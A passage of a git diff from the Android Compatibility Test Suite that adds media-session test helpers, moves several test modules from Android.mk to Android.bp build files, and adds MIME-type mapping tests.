         }
diff --git a/tests/tests/media/src/android/media/cts/TestServiceRegistry.java b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
new file mode 100644
index 0000000..a904be4
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.fail;
+
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Handler;
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Keeps the instance of currently running {@link MockMediaSessionService2}. And also provides
+ * a way to control them in one place.
+ * <p>
+ * It only support only one service at a time.
+ */
+public class TestServiceRegistry {
+    @GuardedBy("TestServiceRegistry.class")
+    private static TestServiceRegistry sInstance;
+    @GuardedBy("TestServiceRegistry.class")
+    private MediaSessionService2 mService;
+    @GuardedBy("TestServiceRegistry.class")
+    private SyncHandler mHandler;
+    @GuardedBy("TestServiceRegistry.class")
+    private SessionCallback mSessionCallback;
+    @GuardedBy("TestServiceRegistry.class")
+    private SessionServiceCallback mSessionServiceCallback;
+
+    /**
+     * Callback for session service's lifecyle (onCreate() / onDestroy())
+     */
+    public interface SessionServiceCallback {
+        default void onCreated() {}
+        default void onDestroyed() {}
+    }
+
+    public static TestServiceRegistry getInstance() {
+        synchronized (TestServiceRegistry.class) {
+            if (sInstance == null) {
+                sInstance = new TestServiceRegistry();
+            }
+            return sInstance;
+        }
+    }
+
+    public void setHandler(Handler handler) {
+        synchronized (TestServiceRegistry.class) {
+            mHandler = new SyncHandler(handler.getLooper());
+        }
+    }
+
+    public Handler getHandler() {
+        synchronized (TestServiceRegistry.class) {
+            return mHandler;
+        }
+    }
+
+    public void setSessionServiceCallback(SessionServiceCallback sessionServiceCallback) {
+        synchronized (TestServiceRegistry.class) {
+            mSessionServiceCallback = sessionServiceCallback;
+        }
+    }
+
+    public void setSessionCallback(SessionCallback sessionCallback) {
+        synchronized (TestServiceRegistry.class) {
+            mSessionCallback = sessionCallback;
+        }
+    }
+
+    public SessionCallback getSessionCallback() {
+        synchronized (TestServiceRegistry.class) {
+            return mSessionCallback;
+        }
+    }
+
+    public void setServiceInstance(MediaSessionService2 service) {
+        synchronized (TestServiceRegistry.class) {
+            if (mService != null) {
+                fail("Previous service instance is still running. Clean up manually to ensure"
+                        + " previoulsy running service doesn't break current test");
+            }
+            mService = service;
+            if (mSessionServiceCallback != null) {
+                mSessionServiceCallback.onCreated();
+            }
+        }
+    }
+
+    public MediaSessionService2 getServiceInstance() {
+        synchronized (TestServiceRegistry.class) {
+            return mService;
+        }
+    }
+
+    public void cleanUp() {
+        synchronized (TestServiceRegistry.class) {
+            if (mService != null) {
+                // TODO(jaewan): Remove this, and override SessionService#onDestroy() to do this
+                mService.getSession().close();
+                // stopSelf() would not kill service while the binder connection established by
+                // bindService() exists, and close() above will do the job instead.
+                // So stopSelf() isn't really needed, but just for sure.
+                mService.stopSelf();
+                mService = null;
+            }
+            if (mHandler != null) {
+                mHandler.removeCallbacksAndMessages(null);
+            }
+            mSessionCallback = null;
+            if (mSessionServiceCallback != null) {
+                mSessionServiceCallback.onDestroyed();
+                mSessionServiceCallback = null;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index b64a856..f86f150 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,6 +21,9 @@
 
 import android.content.Context;
 import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.SessionToken2;
 import android.media.session.MediaSessionManager;
 import android.os.Bundle;
 import android.os.Handler;
@@ -41,6 +44,28 @@
     private static final int WAIT_SERVICE_TIME_MS = 5000;
 
     /**
+     * Finds the session with id in this test package.
+     *
+     * @param context
+     * @param id
+     * @return
+     */
+    public static SessionToken2 getServiceToken(Context context, String id) {
+        MediaSessionManager manager =
+                (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE);
+        List<SessionToken2> tokens = manager.getSessionServiceTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (context.getPackageName().equals(token.getPackageName())
+                    && id.equals(token.getId())) {
+                return token;
+            }
+        }
+        fail("Failed to find service");
+        return null;
+    }
+
+    /**
      * Compares contents of two bundles.
      *
      * @param a a bundle
@@ -67,6 +92,75 @@
         return true;
     }
 
+    /**
+     * Create a playlist for testing purpose
+     * <p>
+     * Caller's method name will be used for prefix of each media item's media id.
+     *
+     * @param size lits size
+     * @return the newly created playlist
+     */
+    public static List<MediaItem2> createPlaylist(int size) {
+        final List<MediaItem2> list = new ArrayList<>();
+        String caller = Thread.currentThread().getStackTrace()[1].getMethodName();
+        for (int i = 0; i < size; i++) {
+            list.add(new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+                    .setMediaId(caller + "_item_" + (size + 1))
+                    .setDataSourceDesc(
+                            new DataSourceDesc.Builder()
+                                    .setDataSource(new FileDescriptor())
+                                    .build())
+                    .build());
+        }
+        return list;
+    }
+
+    /**
+     * Create a media item with the metadata for testing purpose.
+     *
+     * @return the newly created media item
+     * @see #createMetadata()
+     */
+    public static MediaItem2 createMediaItemWithMetadata() {
+        return new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+                .setMetadata(createMetadata()).build();
+    }
+
+    /**
+     * Create a media metadata for testing purpose.
+     * <p>
+     * Caller's method name will be used for the media id.
+     *
+     * @return the newly created media item
+     */
+    public static MediaMetadata2 createMetadata() {
+        String mediaId = Thread.currentThread().getStackTrace()[1].getMethodName();
+        return new MediaMetadata2.Builder()
+                .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId).build();
+    }
+
+    /**
+     * Handler that always waits until the Runnable finishes.
+     */
+    public static class SyncHandler extends Handler {
+        public SyncHandler(Looper looper) {
+            super(looper);
+        }
+
+        public void postAndSync(Runnable runnable) throws InterruptedException {
+            if (getLooper() == Looper.myLooper()) {
+                runnable.run();
+            } else {
+                final CountDownLatch latch = new CountDownLatch(1);
+                post(()->{
+                    runnable.run();
+                    latch.countDown();
+                });
+                assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+    }
+
     public static class Monitor {
         private int mNumSignal;
 
diff --git a/tests/tests/mediastress/Android.bp b/tests/tests/mediastress/Android.bp
new file mode 100644
index 0000000..e0878b6
--- /dev/null
+++ b/tests/tests/mediastress/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMediaStressTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "mts",
+    ],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctsmediastress_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    host_required: ["cts-dynamic-config"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
deleted file mode 100644
index a1f24eb..0000000
--- a/tests/tests/mediastress/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-media-preconditions
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsmediastress_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsMediaStressTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/tests/tests/mediastress/AndroidTest.xml b/tests/tests/mediastress/AndroidTest.xml
index c95b74d..0255cfb 100644
--- a/tests/tests/mediastress/AndroidTest.xml
+++ b/tests/tests/mediastress/AndroidTest.xml
@@ -17,8 +17,15 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="cts" />
+        <option name="dynamic-config-name" value="cts-dynamic-config" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="device" />
         <option name="config-filename" value="CtsMediaStressTestCases" />
+        <option name="version" value="9.0_r1"/>
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
@@ -31,5 +38,7 @@
         <option name="test-timeout" value="1800000" />
         <option name="ajur-max-shard" value="2" />
         <option name="runtime-hint" value="3h" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/tests/mediastress/jni/Android.bp b/tests/tests/mediastress/jni/Android.bp
new file mode 100644
index 0000000..192746e
--- /dev/null
+++ b/tests/tests/mediastress/jni/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_library_shared {
+    name: "libctsmediastress_jni",
+    srcs: ["native-media-jni.cpp"],
+    include_dirs: ["frameworks/wilhelm/include"],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libOpenMAXAL",
+    ],
+    stl: "none",
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/tests/tests/mediastress/jni/Android.mk b/tests/tests/mediastress/jni/Android.mk
deleted file mode 100644
index 66ca05e..0000000
--- a/tests/tests/mediastress/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libctsmediastress_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := native-media-jni.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_C_INCLUDES += $(call include-path-for, wilhelm)
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libOpenMAXAL
-LOCAL_NDK_STL_VARIANT := none
-LOCAL_SDK_VERSION := current
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter -Wno-unused-variable
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/midi/Android.bp b/tests/tests/midi/Android.bp
new file mode 100644
index 0000000..3706f68
--- /dev/null
+++ b/tests/tests/midi/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMidiTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
deleted file mode 100755
index 21cda85..0000000
--- a/tests/tests/midi/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_PACKAGE_NAME := CtsMidiTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/mimemap/Android.bp b/tests/tests/mimemap/Android.bp
new file mode 100644
index 0000000..8161eb6
--- /dev/null
+++ b/tests/tests/mimemap/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Verifies the default MIME mapping as exposed by @CorePlatformApi libcore.net.MimeMap.getDefault()
+android_test {
+    name: "CtsMimeMapTestCases",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.base.stubs"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "ctstestrunner-axt",
+    ],
+    test_suites: [
+        "cts",
+        "mts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/mimemap/AndroidManifest.xml b/tests/tests/mimemap/AndroidManifest.xml
new file mode 100644
index 0000000..ffb8a69
--- /dev/null
+++ b/tests/tests/mimemap/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.content.type.cts">
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.content.type.cts"
+                     android:label="CTS MimeMap test cases">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/mimemap/AndroidTest.xml b/tests/tests/mimemap/AndroidTest.xml
new file mode 100644
index 0000000..431ec11
--- /dev/null
+++ b/tests/tests/mimemap/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<configuration description="Config for CTS MimeMap Test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="CtsMimeMapTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.content.type.cts" />
+        <option name="runtime-hint" value="1m" />
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+</configuration>
diff --git a/tests/tests/mimemap/OWNERS b/tests/tests/mimemap/OWNERS
new file mode 100644
index 0000000..7f38126
--- /dev/null
+++ b/tests/tests/mimemap/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
+jsharkey@android.com
+
diff --git a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
new file mode 100644
index 0000000..ef19040
--- /dev/null
+++ b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
@@ -0,0 +1,234 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.type.cts;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Locale;
+import java.util.Objects;
+import libcore.net.MimeMap;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+/**
+ * Tests {@link MimeMap#getDefault()}.
+ */
+public class MimeMapTest {
+
+    private MimeMap defaultMimeMap;
+
+    @Before public void setUp() {
+        defaultMimeMap = MimeMap.getDefault();
+    }
+
+    @Test
+    public void defaultMap_15715370() {
+        assertEquals("audio/flac", defaultMimeMap.guessMimeTypeFromExtension("flac"));
+        assertEquals("flac", defaultMimeMap.guessExtensionFromMimeType("audio/flac"));
+        assertEquals("flac", defaultMimeMap.guessExtensionFromMimeType("application/x-flac"));
+    }
+
+    // https://code.google.com/p/android/issues/detail?id=78909
+    @Test public void defaultMap_78909() {
+        assertEquals("mka", defaultMimeMap.guessExtensionFromMimeType("audio/x-matroska"));
+        assertEquals("mkv", defaultMimeMap.guessExtensionFromMimeType("video/x-matroska"));
+    }
+
+    @Test public void defaultMap_16978217() {
+        assertEquals("image/x-ms-bmp", defaultMimeMap.guessMimeTypeFromExtension("bmp"));
+        assertEquals("image/x-icon", defaultMimeMap.guessMimeTypeFromExtension("ico"));
+        assertEquals("video/mp2ts", defaultMimeMap.guessMimeTypeFromExtension("ts"));
+    }
+
+    @Test public void testCommon() {
+        assertEquals("audio/mpeg", defaultMimeMap.guessMimeTypeFromExtension("mp3"));
+        assertEquals("image/png", defaultMimeMap.guessMimeTypeFromExtension("png"));
+        assertEquals("application/zip", defaultMimeMap.guessMimeTypeFromExtension("zip"));
+
+        assertEquals("mp3", defaultMimeMap.guessExtensionFromMimeType("audio/mpeg"));
+        assertEquals("png", defaultMimeMap.guessExtensionFromMimeType("image/png"));
+        assertEquals("zip", defaultMimeMap.guessExtensionFromMimeType("application/zip"));
+    }
+
+    @Test public void defaultMap_18390752() {
+        assertEquals("jpg", defaultMimeMap.guessExtensionFromMimeType("image/jpeg"));
+    }
+
+    @Test public void defaultMap_30207891() {
+        assertTrue(defaultMimeMap.hasMimeType("IMAGE/PNG"));
+        assertTrue(defaultMimeMap.hasMimeType("IMAGE/png"));
+        assertFalse(defaultMimeMap.hasMimeType(""));
+        assertEquals("png", defaultMimeMap.guessExtensionFromMimeType("IMAGE/PNG"));
+        assertEquals("png", defaultMimeMap.guessExtensionFromMimeType("IMAGE/png"));
+        assertNull(defaultMimeMap.guessMimeTypeFromExtension(""));
+        assertNull(defaultMimeMap.guessMimeTypeFromExtension("doesnotexist"));
+        assertTrue(defaultMimeMap.hasExtension("PNG"));
+        assertTrue(defaultMimeMap.hasExtension("PnG"));
+        assertFalse(defaultMimeMap.hasExtension(""));
+        assertFalse(defaultMimeMap.hasExtension(".png"));
+        assertEquals("image/png", defaultMimeMap.guessMimeTypeFromExtension("PNG"));
+        assertEquals("image/png", defaultMimeMap.guessMimeTypeFromExtension("PnG"));
+        assertNull(defaultMimeMap.guessMimeTypeFromExtension(".png"));
+        assertNull(defaultMimeMap.guessMimeTypeFromExtension(""));
+        assertNull(defaultMimeMap.guessExtensionFromMimeType("doesnotexist"));
+    }
+
+    @Test public void defaultMap_30793548() {
+        assertEquals("video/3gpp", defaultMimeMap.guessMimeTypeFromExtension("3gpp"));
+        assertEquals("video/3gpp", defaultMimeMap.guessMimeTypeFromExtension("3gp"));
+        assertEquals("video/3gpp2", defaultMimeMap.guessMimeTypeFromExtension("3gpp2"));
+        assertEquals("video/3gpp2", defaultMimeMap.guessMimeTypeFromExtension("3g2"));
+    }
+
+    @Test public void defaultMap_37167977() {
+        // https://tools.ietf.org/html/rfc5334#section-10.1
+        assertEquals("audio/ogg", defaultMimeMap.guessMimeTypeFromExtension("ogg"));
+        assertEquals("audio/ogg", defaultMimeMap.guessMimeTypeFromExtension("oga"));
+        assertEquals("audio/ogg", defaultMimeMap.guessMimeTypeFromExtension("spx"));
+        assertEquals("video/ogg", defaultMimeMap.guessMimeTypeFromExtension("ogv"));
+    }
+
+    @Test public void defaultMap_70851634_mimeTypeFromExtension() {
+        assertEquals("video/vnd.youtube.yt", defaultMimeMap.guessMimeTypeFromExtension("yt"));
+    }
+
+    @Test public void defaultMap_70851634_extensionFromMimeType() {
+        assertEquals("yt", defaultMimeMap.guessExtensionFromMimeType("video/vnd.youtube.yt"));
+        assertEquals("yt", defaultMimeMap.guessExtensionFromMimeType("application/vnd.youtube.yt"));
+    }
+
+    @Test public void defaultMap_112162449_audio() {
+        // According to https://en.wikipedia.org/wiki/M3U#Internet_media_types
+        // this is a giant mess, so we pick "audio/x-mpegurl" because a similar
+        // playlist format uses "audio/x-scpls".
+        assertMimeTypeFromExtension("audio/x-mpegurl", "m3u");
+        assertMimeTypeFromExtension("audio/x-mpegurl", "m3u8");
+        assertExtensionFromMimeType("m3u", "audio/x-mpegurl");
+
+        assertExtensionFromMimeType("m4a", "audio/mp4");
+        assertMimeTypeFromExtension("audio/mpeg", "m4a");
+
+        assertBidirectional("audio/aac", "aac");
+    }
+
+    @Test public void defaultMap_112162449_video() {
+        assertBidirectional("video/x-flv", "flv");
+        assertBidirectional("video/quicktime", "mov");
+        assertBidirectional("video/mpeg", "mpeg");
+    }
+
+    @Test public void defaultMap_112162449_image() {
+        assertBidirectional("image/heif", "heif");
+        assertBidirectional("image/heif-sequence", "heifs");
+        assertBidirectional("image/heic", "heic");
+        assertBidirectional("image/heic-sequence", "heics");
+        assertMimeTypeFromExtension("image/heif", "hif");
+
+        assertBidirectional("image/x-adobe-dng", "dng");
+        assertBidirectional("image/x-photoshop", "psd");
+
+        assertBidirectional("image/jp2", "jp2");
+        assertMimeTypeFromExtension("image/jp2", "jpg2");
+    }
+
+    @Test public void defaultMap_120135571_audio() {
+        assertMimeTypeFromExtension("audio/mpeg", "m4r");
+    }
+
+    @Test public void defaultMap_136096979_ota() {
+        assertMimeTypeFromExtension("application/vnd.android.ota", "ota");
+    }
+
+    @Test public void defaultMap_wifiConfig_xml() {
+        assertExtensionFromMimeType("xml", "application/x-wifi-config");
+        assertMimeTypeFromExtension("text/xml", "xml");
+    }
+
+    // http://b/122734564
+    @Test public void defaultMap_NonLowercaseMimeType() {
+        // A mixed-case mimeType that appears in mime.types; we expect guessMimeTypeFromExtension()
+        // to return it in lowercase because MimeMap considers lowercase to be the canonical form.
+        String mimeType = "application/vnd.ms-word.document.macroEnabled.12".toLowerCase(Locale.US);
+        assertBidirectional(mimeType, "docm");
+    }
+
+    // Check that the keys given for lookups in either direction are not case sensitive
+    @Test public void defaultMap_CaseInsensitiveKeys() {
+        String mimeType = defaultMimeMap.guessMimeTypeFromExtension("apk");
+        assertNotNull(mimeType);
+
+        assertEquals(mimeType, defaultMimeMap.guessMimeTypeFromExtension("APK"));
+        assertEquals(mimeType, defaultMimeMap.guessMimeTypeFromExtension("aPk"));
+
+        assertEquals("apk", defaultMimeMap.guessExtensionFromMimeType(mimeType));
+        assertEquals("apk", defaultMimeMap.guessExtensionFromMimeType(
+                mimeType.toUpperCase(Locale.US)));
+        assertEquals("apk", defaultMimeMap.guessExtensionFromMimeType(
+                mimeType.toLowerCase(Locale.US)));
+    }
+
+    @Test public void defaultMap_invalid_empty() {
+        checkInvalidExtension("");
+        checkInvalidMimeType("");
+    }
+
+    @Test public void defaultMap_invalid_null() {
+        checkInvalidExtension(null);
+        checkInvalidMimeType(null);
+    }
+
+    @Test public void defaultMap_invalid() {
+        checkInvalidMimeType("invalid mime type");
+        checkInvalidExtension("invalid extension");
+    }
+
+    private void checkInvalidExtension(String s) {
+        assertFalse(defaultMimeMap.hasExtension(s));
+        assertNull(defaultMimeMap.guessMimeTypeFromExtension(s));
+    }
+
+    private void checkInvalidMimeType(String s) {
+        assertFalse(defaultMimeMap.hasMimeType(s));
+        assertNull(defaultMimeMap.guessExtensionFromMimeType(s));
+    }
+
+    private void assertMimeTypeFromExtension(String mimeType, String extension) {
+        final String actual = defaultMimeMap.guessMimeTypeFromExtension(extension);
+        if (!Objects.equals(mimeType, actual)) {
+            fail("Expected " + mimeType + " but was " + actual + " for extension " + extension);
+        }
+    }
+
+    private void assertExtensionFromMimeType(String extension, String mimeType) {
+        final String actual = defaultMimeMap.guessExtensionFromMimeType(mimeType);
+        if (!Objects.equals(extension, actual)) {
+            fail("Expected " + extension + " but was " + actual + " for type " + mimeType);
+        }
+    }
+
+    private void assertBidirectional(String mimeType, String extension) {
+        assertMimeTypeFromExtension(mimeType, extension);
+        assertExtensionFromMimeType(extension, mimeType);
+    }
+
+}
